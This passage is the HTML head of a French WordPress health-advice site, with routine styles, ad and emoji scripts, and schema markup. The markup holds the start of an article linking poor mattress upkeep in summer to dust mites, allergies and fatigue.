<!DOCTYPE html>
<!--[if IE 8]>
<html class="no-js g1-off-outside lt-ie10 lt-ie9" id="ie8" lang="fr-FR"><![endif]-->
<!--[if IE 9]>
<html class="no-js g1-off-outside lt-ie10" id="ie9" lang="fr-FR"><![endif]-->
<!--[if !IE]><!-->
<html class="no-js g1-off-outside" lang="fr-FR"><!--<![endif]-->
<head>
<meta charset="UTF-8"/>
<link rel="profile" href="https://gmpg.org/xfn/11"/>
<link rel="pingback" href="https://docteurtamalou.fr/xmlrpc.php"/>
<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
<style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
<meta name="viewport" content="initial-scale=1.0, minimum-scale=1.0, height=device-height, width=device-width" />
<!-- This site is optimized with the Yoast SEO plugin v25.8 - https://yoast.com/wordpress/plugins/seo/ -->
<title>Docteur Tamalou - Mieux vivre au quotidien</title>
<meta name="description" content="Astuces et remèdes naturels pour répondre aux maux et symptômes de la vie quotidienne." />
<link rel="canonical" href="https://docteurtamalou.fr/" />
<link rel="next" href="https://docteurtamalou.fr/page/2/" />
<meta property="og:locale" content="fr_FR" />
<meta property="og:type" content="website" />
<meta property="og:title" content="Docteur Tamalou" />
<meta property="og:description" content="Astuces et remèdes naturels pour répondre aux maux et symptômes de la vie quotidienne." />
<meta property="og:url" content="https://docteurtamalou.fr/" />
<meta property="og:site_name" content="Docteur Tamalou" />
<meta name="twitter:card" content="summary_large_image" />
<!-- / Yoast SEO plugin. -->
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='preconnect' href='https://fonts.gstatic.com' />
<link rel="alternate" type="application/rss+xml" title="Docteur Tamalou » Flux" href="https://docteurtamalou.fr/feed/" />
<link rel="alternate" type="application/rss+xml" title="Docteur Tamalou » Flux des commentaires" href="https://docteurtamalou.fr/comments/feed/" />
<script type="text/javascript">
/* <![CDATA[ */
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/docteurtamalou.fr\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.3"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
/* ]]> */
</script>
<style id='wp-emoji-styles-inline-css' type='text/css'>
img.wp-smiley, img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 0.07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<style id='pdfemb-pdf-embedder-viewer-style-inline-css' type='text/css'>
.wp-block-pdfemb-pdf-embedder-viewer{max-width:none}
</style>
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='qc-choice-css' href='https://docteurtamalou.fr/wp-content/plugins/quantcast-choice/public/css/style.min.css?ver=2.0.8' type='text/css' media='all' />
<style id='sicesi-mpc-inline-css' type='text/css'>
.sicesi-featured-figure{display:inline-block;margin:0}.sicesi-featured-caption{display:block;font-size:0.9rem;line-height:1.4;color:#666;margin-top:0.35rem}
</style>
<link rel='stylesheet' id='g1-main-css' href='https://docteurtamalou.fr/wp-content/themes/bimber/css/9.2.5/styles/original-2018/all-light.min.css?ver=9.2.5' type='text/css' media='all' />
<link rel='stylesheet' id='bimber-google-fonts-css' href='//fonts.googleapis.com/css?family=Roboto%3A400%2C300%2C500%2C600%2C700%2C900%7CSpartan%3A400%2C300%2C600%2C700%2C800&subset=latin%2Clatin-ext&display=swap&ver=9.2.5' type='text/css' media='all' />
<link rel='stylesheet' id='bimber-dynamic-style-css' href='https://docteurtamalou.fr/wp-content/uploads/dynamic-style-1717494478.css' type='text/css' media='all' />
<link rel='stylesheet' id='bimber-mashshare-css' href='https://docteurtamalou.fr/wp-content/themes/bimber/css/9.2.5/styles/original-2018/mashshare-light.min.css?ver=9.2.5' type='text/css' media='all' />
<script type="text/javascript" id="qc-choice-js-extra">
/* <![CDATA[ */
var choice_cmp_config = {"utid":"p-2wk5TvYXYE76H","ccpa":"","datalayer":"true"};
/* ]]> */
</script>
<script type="text/javascript" async="async" src="https://docteurtamalou.fr/wp-content/plugins/quantcast-choice/public/js/script.min.js?ver=2.0.8" id="qc-choice-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/modernizr/modernizr-custom.min.js?ver=3.3.0" id="modernizr-js"></script>
<link rel="https://api.w.org/" href="https://docteurtamalou.fr/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://docteurtamalou.fr/xmlrpc.php?rsd" />
<style>
@font-face {
font-family: "bimber";
src:url("https://docteurtamalou.fr/wp-content/themes/bimber/css/9.2.5/bimber/fonts/bimber.eot");
src:url("https://docteurtamalou.fr/wp-content/themes/bimber/css/9.2.5/bimber/fonts/bimber.eot?#iefix") format("embedded-opentype"),
url("https://docteurtamalou.fr/wp-content/themes/bimber/css/9.2.5/bimber/fonts/bimber.woff") format("woff"),
url("https://docteurtamalou.fr/wp-content/themes/bimber/css/9.2.5/bimber/fonts/bimber.ttf") format("truetype"),
url("https://docteurtamalou.fr/wp-content/themes/bimber/css/9.2.5/bimber/fonts/bimber.svg#bimber") format("svg");
font-weight: normal;
font-style: normal;
font-display: block;
}
</style>
<meta name="publisuites-verify-code" content="aHR0cHM6Ly9kb2N0ZXVydGFtYWxvdS5mcg==" />
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_corner_footer-alldevices_allpages_(1x1)', [1, 1], 'div-gpt-ad-1573056232923-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_out_of_page-alldevices_allpages_(1x1)', [1, 1], 'div-gpt-ad-1587739117648-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_topcontent-alldevices_allpages', [[1, 1], [300, 250], [970, 250], [320, 50], [320, 100], 'fluid', [728, 90], [336, 280]], 'div-gpt-ad-1587739204403-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_incontent_a2pr-alldevices_art', [[300, 250], [970, 250], 'fluid', [336, 280], [300, 600], [728, 90], [320, 50], [1, 1], [320, 100]], 'div-gpt-ad-1587739292542-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_incontent_a5pr-alldevices_art', [[300, 600], [728, 90], 'fluid', [336, 280], [300, 250], [970, 250], [320, 50], [1, 1], [320, 100]], 'div-gpt-ad-1587739373509-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_incontent_a8pr-alldevices_art', [[300, 250], [970, 250], 'fluid', [336, 280], [300, 600], [728, 90], [320, 50], [1, 1], [320, 100]], 'div-gpt-ad-1587739422307-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_incontent_a11pr-alldevices_art', [[728, 90], [320, 100], 'fluid', [1, 1], [300, 250], [970, 250], [336, 280], [300, 600], [320, 50]], 'div-gpt-ad-1587739468757-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_sidebar_b1b-alldevices_art', [[300, 600], [160, 600], [300, 250], 'fluid', [1, 1]], 'div-gpt-ad-1587739529889-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_sidebar_a6b-alldevices_art', [[1, 1], [300, 250], [160, 600], 'fluid', [300, 600]], 'div-gpt-ad-1587739568928-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script>
<script async src="https://securepubads.g.doubleclick.net/tag/js/gpt.js"></script>
<script>
window.googletag = window.googletag || {cmd: []};
googletag.cmd.push(function() {
googletag.defineSlot('/32130444/au_docteurtamalou.fr_in_image-alldevices_art', [1, 1], 'div-gpt-ad-1587739631847-0').addService(googletag.pubads());
googletag.pubads().enableSingleRequest();
googletag.pubads().collapseEmptyDivs();
googletag.enableServices();
});
</script><meta name="generator" content="Elementor 3.31.4; features: additional_custom_breakpoints, e_element_cache; settings: css_print_method-external, google_font-enabled, font_display-auto">
<script type="application/ld+json" class="saswp-schema-markup-output">
[{"@context":"https:\/\/schema.org\/","@graph":[{"@context":"https:\/\/schema.org\/","@type":"SiteNavigationElement","@id":"https:\/\/docteurtamalou.fr#Menu principal","name":"Sant\u00e9 quotidienne","url":"https:\/\/docteurtamalou.fr\/sante\/"},{"@context":"https:\/\/schema.org\/","@type":"SiteNavigationElement","@id":"https:\/\/docteurtamalou.fr#Menu principal","name":"Rem\u00e8des naturels","url":"https:\/\/docteurtamalou.fr\/remedes-naturels\/"},{"@context":"https:\/\/schema.org\/","@type":"SiteNavigationElement","@id":"https:\/\/docteurtamalou.fr#Menu principal","name":"Nutrition","url":"https:\/\/docteurtamalou.fr\/nutrition\/"},{"@context":"https:\/\/schema.org\/","@type":"SiteNavigationElement","@id":"https:\/\/docteurtamalou.fr#Menu principal","name":"Grossesse","url":"https:\/\/docteurtamalou.fr\/grossesse\/"},{"@context":"https:\/\/schema.org\/","@type":"SiteNavigationElement","@id":"https:\/\/docteurtamalou.fr#Menu principal","name":"Sexualit\u00e9","url":"https:\/\/docteurtamalou.fr\/sexualite\/"}]},
{"@context":"https:\/\/schema.org\/","@type":"WebSite","@id":"https:\/\/docteurtamalou.fr#website","headline":"Docteur Tamalou","name":"Docteur Tamalou","description":"Astuces et rem\u00e8des naturels pour r\u00e9pondre aux maux et sympt\u00f4mes de la vie quotidienne.","url":"https:\/\/docteurtamalou.fr","potentialAction":{"@type":"SearchAction","target":"https:\/\/docteurtamalou.fr?s={search_term_string}","query-input":"required name=search_term_string"}},
{"@context":"https:\/\/schema.org\/","@type":"Article","@id":"https:\/\/docteurtamalou.fr\/cette-mauvaise-habitude-avec-votre-matelas-favorise-la-fatigue-et-les-allergies\/#Article","url":"https:\/\/docteurtamalou.fr\/cette-mauvaise-habitude-avec-votre-matelas-favorise-la-fatigue-et-les-allergies\/","inLanguage":"fr-FR","mainEntityOfPage":"https:\/\/docteurtamalou.fr\/cette-mauvaise-habitude-avec-votre-matelas-favorise-la-fatigue-et-les-allergies\/","headline":"Cette mauvaise habitude avec votre matelas favorise la fatigue (et les allergies)","description":"","articleBody":"Entre chaleur \u00e9touffante et nuits agit\u00e9es, il est facile de n\u00e9gliger l'entretien de son matelas lorsqu'arrive l'\u00e9t\u00e9. Pourtant, cette petite responsabilit\u00e9 en apparence anodine pourrait bien \u00eatre la source cach\u00e9e de la fatigue matinale et des allergies qui s'invitent au r\u00e9veil. \u00c0 l'heure o\u00f9 chacun cherche des solutions pour mieux dormir, d\u00e9couvrons ensemble pourquoi ce geste trop souvent oubli\u00e9 fait toute la diff\u00e9rence au quotidien. Le pi\u00e8ge invisible de la chaleur : quand votre matelas devient un nid \u00e0 acariens Quand le thermom\u00e8tre grimpe, le corps humain r\u00e9agit naturellement : sueurs nocturnes, difficult\u00e9 \u00e0 trouver la fra\u00eecheur, agitation sous la couette... Mais pendant ce temps, le matelas subit, en silence, une v\u00e9ritable petite r\u00e9volution interne. Sans routine d'a\u00e9ration ou de nettoyage, il devient en quelques jours seulement un v\u00e9ritable havre pour toutes sortes de micro-organismes. Accumulation de sueur et humidit\u00e9 : le cocktail id\u00e9al pour les bact\u00e9ries Chaque nuit, un adulte perd en moyenne entre 0,5 et 1 litre de sueur durant son sommeil, quantit\u00e9 pouvant grimper consid\u00e9rablement durant les fortes chaleurs. Or, une fois pi\u00e9g\u00e9e dans le matelas, cette humidit\u00e9 favorise la prolif\u00e9ration des bact\u00e9ries et champignons. R\u00e9sultat : le matelas, initialement con\u00e7u pour notre confort, devient un terrain de jeu id\u00e9al pour les ind\u00e9sirables invisibles. Les acariens en f\u00eate : pourquoi ils raffolent des matelas mal entretenus Les acariens sont friands de chaleur, d'humidit\u00e9 et de peaux mortes. En n\u00e9gligeant d'a\u00e9rer, de retourner ou de nettoyer son matelas, on transforme ce dernier en gigantesque buffet pour ces petites cr\u00e9atures. Les cons\u00e9quences ne se font pas attendre : allergies respiratoires, d\u00e9mangeaisons, et m\u00eame aggravation de l'asthme chez les plus sensibles. Fatigue chronique : un effet insidieux des nuits sur un matelas n\u00e9glig\u00e9 Au-del\u00e0 du simple inconfort nocturne, le mauvais entretien du matelas impacte directement la qualit\u00e9 du sommeil, souvent sans que l'on fasse le lien d\u00e8s le premier b\u00e2illement du matin. Sommeil perturb\u00e9 : comment la qualit\u00e9 du matelas influence vos cycles nocturnes Un matelas malodorant, humide ou irr\u00e9gulier perturbe le sommeil profond, phase essentielle \u00e0 la r\u00e9cup\u00e9ration physique et mentale. Les micro-r\u00e9veils augmentent, le passage aux cycles r\u00e9parateurs du sommeil devient plus difficile. R\u00e9sultat : une sensation de fatigue persistante, m\u00eame apr\u00e8s 8 heures pass\u00e9es au lit. Les adeptes des siestes estivales n'y \u00e9chappent pas non plus, car les allerg\u00e8nes invisibles nuisent \u00e0 la d\u00e9tente. R\u00e9veil difficile, concentration en berne : la fatigue s'installe Qui n'a jamais connu ce matin o\u00f9 les paupi\u00e8res sont lourdes, la gorge grattouille et le nez chatouille ? Avec un matelas rempli d'acariens, la fatigue physique s'accompagne souvent de difficult\u00e9s \u00e0 se concentrer, voire d'un moral en berne. Moins \u00e9nergique en journ\u00e9e, le risque d'erreur ou de baisse de vigilance est plus \u00e9lev\u00e9 : autant d'obstacles \u00e0 une vie active, saine et motiv\u00e9e. Allergies estivales : le r\u00f4le sous-estim\u00e9 du matelas dans leurs pouss\u00e9es Les allergies semblent parfois se r\u00e9veiller avec les beaux jours. Si le pollen est souvent d\u00e9sign\u00e9 comme coupable, le matelas peut en r\u00e9alit\u00e9 jouer un r\u00f4le bien plus important qu'on ne l'imagine dans la manifestation de ces sympt\u00f4mes g\u00eanants. De la rhinite aux d\u00e9mangeaisons : sympt\u00f4mes qui ne trompent pas Bouche s\u00e8che, \u00e9ternuements r\u00e9p\u00e9t\u00e9s, d\u00e9mangeaisons nocturnes... Ces petits maux du quotidien sont typiques d'une exposition prolong\u00e9e aux allerg\u00e8nes du matelas. Les acariens, en lib\u00e9rant leurs d\u00e9jections, d\u00e9clenchent rhinites et irritations cutan\u00e9es. Les personnes sensibles peuvent m\u00eame voir appara\u00eetre des crises d'ecz\u00e9ma ou des troubles de l'asthme, particuli\u00e8rement la nuit. Moisissures et allerg\u00e8nes : comment ils s'invitent dans votre lit L'humidit\u00e9 estivale ne favorise pas seulement les acariens, elle ouvre aussi la porte \u00e0 la prolif\u00e9ration des moisissures. Un matelas humide et non a\u00e9r\u00e9 devient le refuge id\u00e9al pour ces champignons microscopiques, responsables de r\u00e9actions allergiques diverses. Plus insidieux encore, ils se d\u00e9veloppent sans que l'\u0153il nu ne d\u00e9tecte leur pr\u00e9sence, installant un v\u00e9ritable cercle vicieux allerg\u00e8ne. Faut-il tout changer ? D\u00e9jouer les fausses bonnes id\u00e9es sur l'entretien du matelas Face \u00e0 la multiplication des 